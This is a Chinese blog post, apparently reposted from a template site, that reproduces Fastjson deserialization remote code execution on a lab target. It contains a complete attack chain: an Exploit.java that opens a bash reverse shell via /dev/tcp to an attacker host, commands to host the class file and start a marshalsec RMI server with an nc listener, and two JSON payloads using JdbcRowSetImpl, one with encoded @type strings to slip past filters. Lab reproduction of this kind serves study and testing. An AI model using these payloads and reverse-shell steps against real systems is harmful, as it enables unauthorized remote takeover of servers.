Fastjson反序列化
简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。
Fastjson漏洞概况
1、Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
2、Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
3、Fstjson < =1.2.60 远程代码执行漏洞(CNVD-2019-32498 )
4、Fastjson =1.2.66 Fastjson JtaTransactionConfig存在命令执行漏洞(CNVD-2020-22719)
5、Fastjson =1.2.68 命令执行漏洞(CNVD-2020-30827 )
6、Fastjson <=1.2.80 远程代码执行漏洞(CNVD-2022-40233)
漏洞复现
判断是否使用Fastjson以及Fastjson版本
一、最简单的方法是以POST方式提交一个“{”,查看报错信息。
以Vulfocus靶场为例
访问地址抓包–》发送到repeater–》右键Change request method–》输入"{"字符 --》Send。二、假设无任何返回信息,配合dnslog网站进行验证…建议参考大佬文章。
链接1: 第18篇:fastjson反序列化漏洞区分版本号的方法总结
链接2:fastjson1.2.80 漏洞分析复现
三、上工具Fastjsonscan
下载地址https://gitcode.net/mirrors/a1phaboy/FastjsonScan。
Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
工具:一个VPS 、 java环境(1.8.0)、python3、marshalsec(下载地址:https://github.com/RandomRobbieBF/marshalsec-jar)
以下步骤均在VPS上操作。
1、创建一个Exploit.java文件,内含所需执行命令的语句。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-i",">&","/dev/tcp/公网IP/9999","0>&1"};
Process pc = rt.exec(commands);
pc.waitFor()
} catch (Exception e) {
}
}
}
2、编译Exploit.java文件
javac Exploit.java
会生成一个Exploit.class文件,当前目录下
3、此时在当前目录利用python开启http服务
python3 -m http.server 8000
验证:访问ip:8000
4、利用marshalsec启动RMI服务,监听8888,当有外部有rmi请求8888时,使其加载8000端口上的Exploit.class文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#Exploit" 8888
5、nc开启监听nc -lvnp 9999
此时VPS这三个端口在开放状态:
9999 nc监听
8888 RMI服务监听
8000 http服务
后续操作在自己电脑操作:
Brupsuit抓包–改提交方式POST–Content-Type:改为application/json --添加POC
POC文章来源:https://www.toymoban.com/news/detail-404662.html
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:8888/Exploit",
"autoCommit":true
}
}
成功反弹shell
Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
除POC不同,其余步骤均与Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )一致
POC
{
"hrg786": {
"@\u0074\x79\x70e": "Lcom.s\u0075n.\u0072\u006Fwse\x74\x2E\u004A\u0064\u0062c\u0052owS\u0065t\u0049mpl;",
"dataSourceName": "rmi://IP:8888/Exploit",
"autoCommit": true
}
}
成功获取flag
其余漏洞网上并未找到详细利用方式,暂时先搁置。文章来源地址https://www.toymoban.com/news/detail-404662.html
到了这里,关于Fastjson反序列化漏洞复现小结的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!